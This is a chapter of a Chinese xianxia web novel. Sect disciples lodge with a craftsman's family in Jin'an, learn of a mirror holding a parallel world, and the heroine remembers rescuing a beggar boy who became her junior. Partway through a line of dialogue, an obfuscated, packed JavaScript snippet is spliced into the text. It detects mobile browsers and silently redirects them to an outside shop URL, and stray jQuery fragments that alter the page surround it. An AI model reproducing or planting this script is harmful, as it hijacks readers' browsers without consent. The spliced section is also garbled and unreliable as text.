13. 第 13 章

作品:《我师弟竟是灭世邪神

    世上修仙宗门和世家居住的地方,被统称为“玉京”。


    瀛洲面积最大,但一片混沌,是妖与魔横行之地;中州四十八城,居住着没有灵脉的人族。


    另有奇山一座,名唤尧光。


    山势巍峨,横亘千里,如大地脊梁撑起苍穹,将整个玉京与中州隔断。


    玉京的整个地势要远高于中州,低处之人抬头仰望,只能看到一座被云海包裹、若隐若现的奉仙台。


    所以在中州人的心里,玉京也是一个神圣的存在。


    只要能翻过眼前的尧光山,抵达圣地玉京,就离成仙化神不远了。


    对地域的简单划分,不能代表资质的绝对统一。


    圣地玉京,也会出现天生熄脉,不宜修行者;庸地中州,当然也有灵脉全整,根骨绝佳者。


    所以,玉京每十年就会在中州展开一场“测资招生”的活动。


    顾钧寒和陆南星,先后都是通过测资招生才来到的天翎宗。


    陆南星家在晋安,出生工匠世家,父母皆是是王族有名的匠术师。


    一行人抵达晋安城时已是宵禁,守城的士兵拦着不让进,在看到天翎宗的执事录后,才毕恭毕敬地放了人。


    街上虽然没人,看起来却并不冷清。家家户户门前都扎了鱼灯,只等着第二天游街。


    陆南星看到这些变得兴奋起来,一个人跑在前面,对这些鱼灯又摸又拍。


    周漾瞥了他一眼,不徐不慢地走在后面。


    “你小子瞎蹦跶什么,小心被别人当成贼抓起来。”


    陆南星回头,高兴道:“这次下山赶上我家的鱼灯节了,明天就是呢!”


    茯苓好奇地凑了过去,戳了戳他手里的鱼头灯。


    “黑漆漆的,什么也看不清呀。”


    “等明天夜里灯亮了就好看了,到时候我送师姐一盏最大的!”


    楼明月看了看这些鱼灯的造型,竟也觉得眼熟。


    火树银花,张灯结彩……这些画面在她脑海里一闪而去。她怔了一秒,再想回忆时,却被强行打断了神思。


    睁开眼,只有幽暗的长街和尚未完整的灯架。


    顾钧寒站在一旁,将她的反应尽收眼底。


    看到她痛苦地蹙起眉头,他拍了拍她的背,不轻不重的力道,却莫名有一股安全感。


    “等明天夜里,灯亮了就好了。”


    他也这么说,楼明月略有不解。


    城中宵禁行动不便,几人决定暂且留宿。


    陆南星叩响了家门,不一会儿的功夫就有小厮回应。


    一听说是小少爷回来了,立马打开了府门相迎,原本已经熄灯就寝的陆府,再次热闹了起来。


    陆南星的父亲叫陆远,听说他回来后,只套上了一层深色外衣,便慌忙赶到了正厅。


    他看到陆南星,整个人瞪大了双眼,没有想象中的温情,反而十分肃重。


    “你不是在玉京吗?”他拔高声音质问道。


    “你是被人家赶出来了?还是自己耐不住苦跑回来了?!”


    陆南星被吓得一哆嗦。


    眼看他爹要上手,连忙解释道:“爹,我没有!我才没被赶出来,我是来这儿出任务的!”


    匆匆赶到的陆母,连忙拦下他的动作,将陆南星护在身后。


    “都说了我儿子是栋梁之材,怎么可能被人家赶出来!你以为都像你那几个侄儿一样不争气?”


    陆老爷松了口气,心里一块儿重石落下。


    “来,快让娘看看。”


    雍容华贵的妇人拉过他的手,抚着他的脸颊,满脸心疼。


    “娘的小心肝儿啊,这一去半个多月吃了不少苦吧?怎么都瘦成这样了!修仙问道也不能不给我儿子饭吃吧!”


    陆老爷眉头一蹙,斥责道:


    “胡说什么,人家有仙气护体,那叫辟谷!”


    暗处传来两声憋不住的嗤笑。


    侍女匆匆点燃了灯盏,两人这才看清除了陆南星以外的一行人。


    “陆夫人放心,天翎宗有食斋,不会饿到你家小心肝儿的。”


    周漾随意地坐在椅子上,翘着二郎腿,一身的流里流气,完全不像是玉京的修士,惊得对面两人说不出话来。


    贺玄音踢了他一脚,力道不小,疼得他立马闭嘴。


    他转而向两人躬身作揖。


    “在下天翎宗太清宫大弟子,贺玄音。更深露重,抱歉叨扰二位了。”


    陆南星也反应了过来,连忙介绍道:“爹娘,这几位都是我同门的师兄师姐!”


    “这位就是大师兄。”


    两人毕恭毕敬地回礼。


    在心里默默点了点头,这人看起来,倒有点儿仙风道骨的意思。


    “这位是二师兄,姓周。”


    陆老爷看着他这副不靠谱的样子,眉头一跳,硬着头皮叫了一句“周道长”。


    茯苓起身拆台道。


    “陆老爷不必这么客气,我二哥还担不起一句道长呢。”


    陆南星眉眼上扬,拉了拉母亲的袖子,隆重介绍道:“这位就是茯苓师姐,我上次被毒蜂蛰,多亏茯苓师姐照顾呢!”


    茯苓这个名字,两人不是第一次听说,之前总在他寄回家的书信里看到。


    本以为是个沉稳老练的女医修,没想到真人竟这般年轻。面若桃花,眼如春杏,浑身透着一股子机灵气。


    和他之前信里描述的,完全不同。


    “这位是明月师姐,是明月师姐选了我做近侍我才能留在天翎宗的!”


    楼明月闻言轻笑一声,摇了摇头。


    “纵然没有人选你,你通过了竞比,也能留在外山做一名普通弟子。”


    他挠了挠脑袋,嘿嘿笑了两声。


    “我还是更乐意跟在师姐身边!”


    狗腿子。


    顾钧寒在心里默默翻了个白眼。


    陆老爷想到什么,神情忽然变得激动起来,情不自禁地往前迈了一步。


    “明月师姐……可是太清宫仙人转世的那个明月仙子?”


    楼明月神情微僵,面露难色。


    果然,人们最先注意到的永远是她虚幻的头衔。


    可这种名不副实的头衔,现在捧得越高,将来跌落云端,摔得就越狠。


    以她现在闻名天下的程度,日后真身暴露,非得粉身碎骨不可。


    “小儿能拜在仙子脚下求学,当是三生有幸,能得仙子青眼垂怜,更是家门荣光啊!”


    陆老爷激动地要跪地叩拜,被贺玄音眼疾手快地扶了起来。


    周漾看着这幅场景凑在茯苓耳畔,小声嘀咕道:“你看,明月都是仙子了,我作为仙子的师兄,怎么就不能称一句道长了?”


    茯苓没说话,白了他一眼。


    贺玄音还在和陆老爷拉扯,顾钧寒走了过去,冷着脸一把拽住他的胳膊。


    “太清宫不兴跪拜,还请自重。”


    “还有,仙子名头是世人强加,我师姐不喜欢别人这么叫她。”


    陆老爷被他罗刹般的气质吓到了,动作僵硬,一时间愣在原地。


    “这位、这位是顾师哥。”


    陆南星连忙解释道。


    “爹你别害怕,顾师哥只是长的凶些,但是个面冷心热的好人。”


    “我初到昆吾山,有好多规矩不懂,都是顾师哥教我的!”


    顾钧寒“搀扶”的手还没松。


    他头冒冷汗,直打哆嗦:


    “多、多谢对小儿的照拂。”


    简单的介绍完毕后,几人话入正题。


    星信地图上显示,有一块儿归墟秘境的碎片出现在中州晋安。


    秘境碎片承载的东西不一,幻化成的形态自然也不尽相同。


    几人先是向陆老爷打听了,晋安城最近有没有什么异常。


    他摇头否定,说今年是个祥年。


    没有什么天灾瘟疫,就是偷盗抢劫,也比往年要少。


    晋安城里没有爆发出怪物袭击事件,说明这一块儿归墟碎片里包含的不是墟魇兽,而是“并行世界”。


    收复含有“并行世界”的归墟碎片,远比墟魇兽要麻烦得多。


    并行世界的存在,是人心底的执念在作祟。


    人的执念在现实世界只能成为遗憾残缺,但在归墟却会变成一股力量。


    这股力量会在同一时空,衍生出第二个世界——因果被执念改变的世界。


    人每多出一份执念,归墟秘境就会衍生出一个并行世界。


    并行世界一旦与现实世界相撞,便会出现”并入”现象,将现有的一切全部毁灭。


    想要收复并行世界,就要找到这个世界里被执念改变的因果,然后拨乱反正,让碎片失去“独立可存性”。


    陆老爷见他们没有思绪,便道:“诸位仙长,不如就留下来在府上多住些日子,慢慢找便是。”


    “明日是鱼灯节,一年也赶不上的好热闹,我叫星儿给诸位备些俗银,可在城中随意开销游玩。”


    茯苓第一次来中州,闻言心动地点了点头。


    陆南星想起什么,欸了一声,奇怪道:“爹,今年的鱼王灯不在院子里扎吗?”


    鱼王灯,是整个鱼灯会最壮观瑰丽的一具灯,会有一群人扛着它绕城游行,通常由技术最精湛的工匠负责。


    得到鱼王灯的制灯权,是一种实力的冠冕,也是来年买卖兴盛的关键。


    陆老爷叹了口气,“今年咱家没选上,这差事移给城南李家了。”


    “怎么可能,谁能比得过我爹的手艺!”


    “那也架不住人家有奇招啊。”


    陆母道:“怎么人家就那么好命,路上走着也能捡个宝贝。奉给安王一看,别说制灯权了,要什么没有?”


    “哪儿像你爹这个窝囊样,他比李家的先看到那宝物,愣是绕过去,瞧都不晓得瞧一眼!”


    陆南星讪讪笑着,安抚地拍了拍母亲,“是什么宝物啊,安王也稀罕?”


    陆老爷:“嗐,说白了,也就是一面镜子。”


    周漾闻言乐了。


    “真没见识,镜子有什么好宝贝的,是镶了玲珑心,还是嵌了夜明珠啊?”


    茯苓回怼道:“你连一把破扇子都宝贝,还好意思说人家。”


    “我再说一遍,我那是邶西域运过来的极玉扇!你个足不出户的小丫头,知道往返一次邶西域要多久吗?”


    茯苓朝他吐了吐舌头,随即躲在大师兄身后,周漾一看瞬间哑火。


    “普通镜子是没什么特殊的,就是那镜子里面有人呢,还不止一个!”


    “有人?”


    楼明月和贺玄音对视一眼。


    “是什么人啊?”楼明月问道。


    陆老爷摇摇头:“我就看了一眼,什么人我不知道。但是里面的人是听不到我们说话的,她们走来走去,跟我们没什么两样。”


    周漾收起嬉笑,神情严肃了起来。


    他道:“或许我应该这样问,里面不止有人吧,更像是另一个世界,镜子里的世界?”


    陆老爷连连点头。


    楼明月:“这面镜子现在何处?”


    “城中心的金明台,安王说要在明日灯会上给大家开开眼。”


    她点了点头。


    “行,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069367|194965||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那明天我们也去开开眼吧。”


    *


    陆老爷很热情,给所有人都安排了上等厢房,陈设摆件、被褥茶点都是紧着府里最好的用。


    在昆吾山遭了两回罪,好不容易回家的陆南星,很快就沉沉入梦了。


    其他人辗转两侧,没过多久也习惯了这灵气稀缺的地方。


    楼明月睡不着,先前匆匆一闪的画面,在心里缠缠绕绕成了一个心结。


    她闭上眼,伸出手用指尖尽力描摹,却还是看不完整。


    于是她干脆掀开被褥,出去透气。


    中州的月亮看起来很遥远,孤零零地挂在夜幕,撒下来的清辉依旧冷寒。


    晋安城最高的阁楼顶上,也有一道身影孤零零地站着,一身玄衣墨发,几乎要与夜色融为一体。


    楼明月辨清他,是靠他头上那抹飘扬的发带。


    她环视着看了一眼,四下无人,才敢在中州使用术法。


    飞行咒让她很快落到了阁楼顶。


    这里高耸入云,能俯瞰整个晋安。


    街巷如织,屋舍鳞次栉比,风从耳畔呼啸而过,带着几分凉意。


    她看着眼前面色沉重的顾钧寒,兀自问道:“你也是从中州来的,你的家也在这里吗?”


    他笑了一声,神情没那么凛冽了。


    “算是吧。”


    他指了指眼前逼仄的两条街道。


    “那就是我家。”


    楼明月顺着他指的方向看去,眉头轻蹙,不太明白他的意思。


    “我以前跟他们一样。”他又指了指路边躺着的几个乞丐。


    这下她彻底明白了。


    顾钧寒以前……是个小乞丐?


    怎么可能呢,楼明月有些震惊,邪神的前身是一个街边乞丐,那他又是怎么成为邪神的呢?


    顾钧寒偏眸看着他,嘴角微微上扬。


    “你知道我为什么要来天翎宗吗?”


    她闻言一怔,摇了摇头。


    她一直都想知道,对方好好的邪神殿不待,为什么要卧底在天翎宗。


    “因为这个,因为别人对我的一句承诺。”


    顾钧寒递给她一个玉牌,玉牌看上去已经有些年头了,就算被保护的再好,也抵不住边角的磨损。


    但上面具体刻了什么,还是能看得清的———太清宫弟子,楼明月。


    这是天翎宗旧批次的下山令,这种玉牌样式的,早在五年前就已经被废弃了。


    而顾钧寒手里的这个,年头要更久。


    楼明月轻轻摩挲着玉牌,脑袋一痛,尘封的记忆被解开,眼前街巷的画面与脑海中的画面逐渐重合。


    大概是十年前。


    八岁的她第一次来中州,因为太过兴奋和两个师兄走失。


    玉京修士在中州不可使用术法,她只能在街上慢慢寻找周漾和贺玄音的身影。


    她来到西街,路边一个小乞丐被孤立似地赶到雪棚外。


    对面还有几个孩童朝他扔雪球,一下比一下猛,比谁砸得更准,比谁能让这个怪胎喊疼。


    小乞丐不会说话,不会生气也不会躲,眼神空洞坐在路边。


    他几乎要被污雪掩埋,皮肤上大片冻出的乌紫,像是死人才有的尸斑。额上被冰凌砸出的肿包泛着血光,边缘已凝成紫黑。


    小明月很生气,挡在他身前,阻止那些顽童的动作。


    “啪嗒”一声,她也被雪球砸了。


    实心的雪球带着十足的力道,借着寒风砸在人身上很疼,又冷又疼。


    被砸到眼睛的小明月瞬间眉头紧拧,但想到自己可是玉京的修士,她吸了吸鼻子,又将眼泪憋了回去。


    真搞不懂,那个小乞丐是怎么做到一声不吭的?


    她还手,一招下去,将那些砸人的小孩儿全部放倒。


    人群瞬间爆发了骚乱,都说这里有打人的妖怪。


    小明月不解地摸了摸自己的脑袋,她哪里暴露妖印了嘛?


    周漾闻讯赶来,看着她掌心未散的灵气,瞬间明白了是怎么回事儿。


    “小祖宗!不是说了不能用术法的吗?被你姑姑知道肯定会撕了我的!”


    她的姑姑,就是师父楼溪滕。


    “是他们先欺负人的!”


    她理直气壮地昂了昂脑袋。


    周漾瞥了一眼路边的顾钧寒,对情况了然于心。


    “你就是护得住他一时,也护不了他一世,不要随意插手人族的事!”


    他拽住她的手,要将她带走。


    楼明月拗不过他,回头看了他一眼,最后将自己腰间的玉牌匆匆扯了下来,扔在他怀里。


    她说:“你来太清宫做我师弟吧,这样我就能保护你一辈子了!”


    顾钧寒闻言愣在原地,空洞的眼神终于有了些变化。


    他低头,沉默地看着手里的玉牌。


    太清宫弟子,楼明月。


    他被人驱赶过很多次,


    这是第一次,有人迎接他的存在。


    一潭死水的心神,被一片微风拂过的竹叶触动。圈圈圆圆,轻浅的水纹在心底荡漾开来。


    不论这个人是有意还是无意,都唤醒了邪神作为人躯的“感知”。


    他不再是那个不知不觉不感的怪胎。


    他有了五感,知冷知热,会疼会痛,有了一切爱恨嗔痴的基础。


    同年三月,他通过测资招生进入太清宫,成了一名普通的外山弟子。


    ……


    此刻,阁楼顶上。


    想起这些的楼明月恍然大悟。


    原来,这个师弟,


    是她亲手招来的。